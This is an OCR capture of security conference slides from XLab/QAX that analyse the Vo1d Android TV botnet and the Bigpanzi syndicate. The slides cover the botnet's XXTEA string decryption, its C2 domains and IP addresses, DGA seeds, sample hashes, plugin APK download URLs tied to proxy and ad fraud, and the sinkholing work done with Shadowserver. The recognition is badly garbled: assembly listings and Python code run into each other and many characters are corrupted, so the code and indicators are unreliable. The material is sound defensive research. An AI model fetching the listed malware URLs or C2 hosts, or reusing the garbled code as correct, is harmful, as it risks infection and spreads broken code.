RO, #5 R4, RO, #4
RO, R2 RO, R6
R2, R6, LR . RS, RS, R3,LSL#2
R6, LSR#3 . R3, R4, R3,ASRE3
R5, R6,LSL#2 R@, R2
i R3, RS
Y ~ (((v25 55 5) ~ (& * vi8)) + ({16 * V25) ~ ( - R2 RO, R3
2?2, "o R3, R1, RO
!;OBVTE( ) #0x61C88647 Re, #0x61C88647
) , LR, RO R10, R10, RO

} [R4] . R3, [R8]
while ( ; _2D22 loc_2ece

@ Conceptual Difference

LSR just shifts bits to the right. It does not care whether the number is signed

or not.

ASR shifts while keeping the sign intact (i.e., keeps the number negative if it

was negative).



Vo1ld - asr xxtea W QAX

def decrypt(str, key):

if str == '': return str def asr(value, shift):
A R v = _str2long(str, False)
Perform an arithmetic shift right (ASR) operation.

"= _str2long(key, False) :param value: The signed 32-bit integer (treated as 32-bit)

:param shift: The number of positions to shift.
R4, [SP,#0xae+var_34] . R12, RS, [SP,#9X148+VEI"_134] len(v) - 1 :return: The result of the arithmetic shift right.
AL R uE AND. W R6, LR, #3

v[n]
R1, R1le LDR.W R1, [RB] v[e] if value & ©x80000000: # Check if MSB 1is set (negative number)
R2, [R11,R2,LSL#2] 6+ 52 // (n+ 1) return (value >> shift) | (@xFFFFFFFF << (32 - shift)) & OxFFFFFFFF
R@: [R4,;{1@:LSL#2] LDR.W R6, [Rll,RS, LSL#Z] = (q * DELTA) & oxffffffff else:
R12, [R4]

LDR.W R@, [R8,R12,LSL#2] while (sum != @): return value >> shift
R3, RD, #4 ASRS RS, RO, #5 | g=sum>> 2 &3
i LsLs R4, RO, #4 for p in renge(n ©. -
R@, R2 EORS RO, R6 vipl = (v[p] - ((asr(z,5) ™ y << 2) + (asr(y,3) ~ z << 4) ~ (sum ~ y) + (k[p & 3 ~ e] * 2))) & Oxffffffff
R2, R6, LR EOR.W RS, R5, R3,LSL#2 #ulp] = (v[p] - ((z2>>5 2y <<2)+ (y>> 3" z<<c4) " (sum~y)+ (k[p&3"e]"z))) &exfiffffff
R3, R3, R6,LSR#3 | EOR.W R3, R4, R3,ASR#3 | y = v[p]
R5, R5, R6,LSL#2 ADD RO, R2 z = v[n]
R3, R5 ADD R3, RS #vfe] = (v[e] - ((z >>5 "y << 2)+ (y»>> 37"z<cd) " (sum~y)+ (kR[@ &3 " e] *z))) & exffffffrf
R, R2 EORS RO’ R3 v[e] = (v[e] - ((asr(z,5) "y << 2) + (asr(y,3) "~ z << 4) * (sum ~ y) + (k[0 & 3 ~ e] " z))) & oxffffffff
2

RO, R3 SUBS R3, R1, RO y = vie]

R6, R12, Re = - DELTA) & Oxffffffff
RO, #8Xx61C88647 il RO, #0x61C88647 sprint(v) (e )&

LR, LR, R® ADDS . W Rle, R10, Re byte_array = b''.join(struct.pack('<I', i) for i in v)
R6, [R4] STR.W R3, [R8]

loc 2D22 BNE loc 2ece #return _Long2str(v, True)
— — return byte_array

00000 : 7F 45 4C 46 01 O1 01 00 ©OO OO OO OO 00 VO 0 O .ELF............
Done! !
Time taken: ©.50 seconds




Vo1ld - A New Campaign WooQAX

2024.11.28, Vo1d Downloader, XLab
v http://38.46.218.36:81

B3 ED 7E 53 OF 29 9E 50 9A 99 9E 29 OF 82 52 ......).P...).. leng=buf[0] "buf[1] buf[2]
9C 8@ OF 99 82 2E 9C 82 9D 2F 8@ 9E 9C 83 82 99 / ,
2F 80 2E 80 00 / out=’
for i in range(3, leng+3) :
tmp=((buf [i] "buf[1])-buf[1])&0xff
out+=chr ((tmp buf[0]))

print (out)




Vold - “"Humble” Boss

2024.11.29, Vold Variant, XLab

v sl87362.com:v0532:9999 (v05, 32bits)
v Download & Run Executable
v 1.35M+ nodes at 12.08

XXTEA
DGA(32 seeds)

RSA
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38.46.218.36:81/v1.0.0/
38.46.218.39/v1.0.0/

More j-variant ? 7

XlabBNEWF - REREERMW Y =te

502 http://38.46.21 81/v1l.

200 http://38.46.21 81/v1

200 http://38.46.21] 81/vl.

200 http://38.46.21 81/v1.0.0/ jeex
200 http://38.46.2] 81/vl.@ ijem

200 http://38.46.21 81/v1.0.9/jhh

200 http://38.46.: 81/v1.8.8/jtxx

XlabFE [ EMiF - B2

http://38.46.218.36

{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
["cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”
{"cmd_type”

"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”,
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”
"status”

ssl87362.com:
ssl87362.com:

More {v0532} ? 150+

"dmsg"
"dmsg"
"dmsg"
"dmsg"
"dmsg"
"dmsg"
"dmsg"
"dmsg"
"dmsg"
"dmsg”
"dmsg”
"dmsg”
"dmsg”
"dmsg”
"dmsg”
"dmsg”
"dmsg”
"dmsg"”
"dmsg"
"dmsg"
"dmsg"
"dmsg"

19999
19999

"484P6eT7982aB29082f6c5cabl278aePad4f225¢c2

"5b72eecZcdlas@a3bff84d7a66f461442b7d23a2"

"3ac78ab5c51a@bc388f137d3a%ce5a879c@2969a

"6806f10713b2357eb85753a4ea3Peb2d1b83cfcd”,

"f36285d66bf216be56a60f17b57fec71667e6139"

"bd159155d5485423aabfe64d718d2b72d3a2b59e"

"2e86739e362f27773cabbb5a63d8e856a92627cc

"@d@7afbl3d5c4cbfe7afc7ade2dd3b6348199489"

"846T91060a064a0ee918861elcca3f2basf2fes4",
"b165b3850d@7b382707a6019b5at51b24bf8a369
"bacc24336417ba4c83c28131afbcbbb215d1658a

"9fd84fest29daalieab23555a80c83d432618d486"
"c24cllac736d0498a464TT75d8d4cB887639d76e9

"abc4582c7764ef9cBR186cT7ec9d@978b6c3156a8"

"54afc5a28@5233c2358984b01ddel18e73a2316e5"

"f5712dacbaa4d9674560el6dfbBcc2713df7bedf"”,
"@d@7afbl3d5c4cbfe7afc7ade2dd3b6348199489"
"5b@b532d4d2b25a5a255053b@2873cdf65a51c92"

"645ef1c41115db80d426bes11821c35ch5dc2daa
"aa5abcd1cB695848097%9e52a2fe5d5912b0600d4
"2e86739e362f27773cabbb5a63d8e856a92627cc

"6806f10713b2357eb85753a4ea3Peb2d1b83cfcd”,
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Downloader
v 4

ss187362. com
wowokeys. com
38. 46. 218. 36
38. 46. 218. 37
38. 46. 218. 38
38. 46. 218. 39

d4cbdf5l1ab4c4dod
47edfeadfdb948a8
74a8b512a29a4dc?2
2164963d1a5547c9
lcac3502edal4l19of
0d7e5874464640c7
edd3b49c6ed34236
7bfa9de8dell4e82
23777fdfccb84e13
7761dc15367b4930
4686c0a0e94c48b3
9cd5706ea0dad608
238941e24fabdefa
9b630e2ado434ecS
af9726efee36479f
6a7126d9778f46fb
b5fcced4f94443a0
89b854ebfe5d1076
b24e10dabe572575
bd30ovaff4b8a5c9

DGA SEEDS
v 256+
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@ FrgE

@timestamp per day 2025-01-19
EIPE= 1,570,992

1,400,000

800,000

200,000

2025-02-01 2025-03-01

@timestamp per day
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What is the real purpose of the Vo1d Botnet?

How can we disrupt the Vo1d botnhet?



Vold - P1: Business
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Mzmess Framework

"code": 200,
[

"wowokeys.com:p6332:9999",
"d6b48f14a90432eabebbb16c3f2edb39™,
1

"wowokeys.com:p8232:9999",
"4cl86cd4affc71beB89doBbbe2cbebed”,
2

Plugins

intervalTime: 3600000,

md5: "814fece3296cfd2babda749e80d5006e",

packageName: "com.app.mz.jaguarn",

status: 9,

url: http://cdn.webtencent.com/sdkfile/814fece3296cfd2babda749e80d5006e.apk?
t=17367973415018&r=ZNopb2CboZP1mIzx&s=9a0057c29508958ed06dal40dc5c18729,
versionNo: 14

intervalTime: 3600000,
md5: "541d3f9d735981cacf57682e30582932",
packageName: "com.app.mz.lxhwdgn",

[ ] [ ]
Residential proxy
status: 1,
url: http://cdn.webtencent.com/sdkfile/541d3f9d735981cacf57682e30582932.apk? Ad fraud

t=1738980573148&r=c6cb4Ebsp6CIKMP7&s=383872c38a017d32d1a872de9%9e2115be,

versionNo: 1 CIiCk fraUd

intervalTime: 3600000,

md5: "c8bb96e7f823del485eb6f178039587b",

packageName: "com.app.mz.popan”,

status: 0,

url: http://cdn.webtencent.com/sdkfile/c8bb96e7f823del1485eb6+178039587b.apk?
t=17363195102148&r=1g1WMIGWNXd1qal5&s=6eb58e7c55fe7721df9775104b46eee8,
versionNo: 7

intervalTime: 3600000,

md5: "0994b5447b309c618f45443c6818b8bc”,

packageName: "com.app.mz.spiritn”,

status: o,

url: http://cdn.webtencent.com/sdkfile/0994b5447b309¢c618145443c6818b8bc.apk?
t=1737212166798&r=1Vm7ZDeiZG2psKUi&s=Ff8cd1170abaf9d22fa219b91f76abbfb,
versionNo: 2
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SHABBW Lighting the way
to a more secure Internet
N

My pleasure. Let’s make the world a better place.
Hats off to what you guys do!

L 2025-03-05 1685140
Mar, 2025, 8420 e South America 569689
4 Replying to ® Asia 688801

We have sinkholed the hardcoded C2s - this happened late Africa 304180
3rd March UTC, so it will take a while for the DNS changes to

propagate, but you can already see the increase for :
yesterday: dashboard.shadowserver.org/statistics/com... e North America 58785

e Europe 59872

Let's look forward to even bigger numbers.
Yesterday, our DGA sinkhole captured around 1.3

million unique IPs.@ ® Oceania 3813

Mar 4, 2025, 8:44 PM

Great analysis on all this from you guys, kudos!

Mar 4, 2025, 11:13 PM

Approaching 1.6M infections -

dashboard.shad ver.org/statistics/com...

Mar 5, 2025, 4:15 PM

© 2025 The Shadowserver Foundation
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Deliver a Verdict

The Bigpanzi Syndicate

Support Team, Company ...



Syndicate — Beyond SKIDs 2o QAX

A long history of activity

massive infection scale
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Pcdn Downloader
v ak.tknxg.cf

More info

Bl Customer Support Team
© Yk Customer Support Team

@customersupportteam49 -

YouTube - Customer Support Team

is channel ...more

How to upgrade system CI u e 1 ot &

Home Videos Shorts

W om Download upgrade file link: http://ak.tknxg.ct:8880/stb-
download/s903/HTV3-ota-20171117.zip. Popular  Oldest

Plug all wires.
“Make sure plug-in the intemet cable’

Aitak Pro |

A Atualizando a
H] 15

S i =1 A - = B
i r A e T P S B . G —
5, ; —_— y 4
c I u e 2 ; 3 S - S L T oW o pdate e =

AI-TAK new software update ¢ Accident i Update firmware using paperclip

stb- download/ s()O 5/HT

www iptvkings.com

Oownbead Upste
e

o
T e s Do
T | e
e et S o o B e
2

| —
o—

How to reset A2 using paperclip i New update ¢ How to System update i How to upgrade system

ars ago
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FoneStar
v RDS-585WHD Smartuptool Firmware

RDS-585WHD

CollectTaak sun
70-73 )
70-73 7¢
) 6E 69-T74 7T

ncluded 5 3 5 7 (£ 5 T 3_6B
4 61 7. 00-64 6
3 79 6E-74 6

o “es 4 74 63 70-71 61 73 63-00 0

dudp

dacktask
dsyntask

dtcptask dkee

dhttptas
posttask

00-64 68 74 7470 7:

Ca ) 4 70 6F 73-74 74 61 73-6B

el e & b ?(0 46 7-6B T4 61 T3-6B 00-64 6 downte :

Contact your distributor : —. o = : A SKl O S 1'\f]:[D

\Ia /5 70 67 7 : =7 ’ -3C 2! A upgrade }2v9<*9j
I ?\(w © f v @ 76 68 69 4E-57 43 6C 70-6D 3A 21 45—35 39 23 4E  vhiNWClpm: !N59#N

SOFTWARE

00 00-20 61 64 64-72 20 3D 20-22 20 25 5B addr = 7 %[
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[lluminating Dark Corners

The Bigpanzi Identity

Patent, Speaker, Company
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' The following slides are shy.
\ Please don’t take photos!




The end of the talk

Tip of the iceberg

v Long term player

v Pandoraspear & pcdn botnet
v Vo1d botnet

v'To be continued...




MQAX

ration cyber:

Thanks!
Follow us!@Xlab_qax
Q& A

Special thanks
TO
Dr web & Shadowserver.
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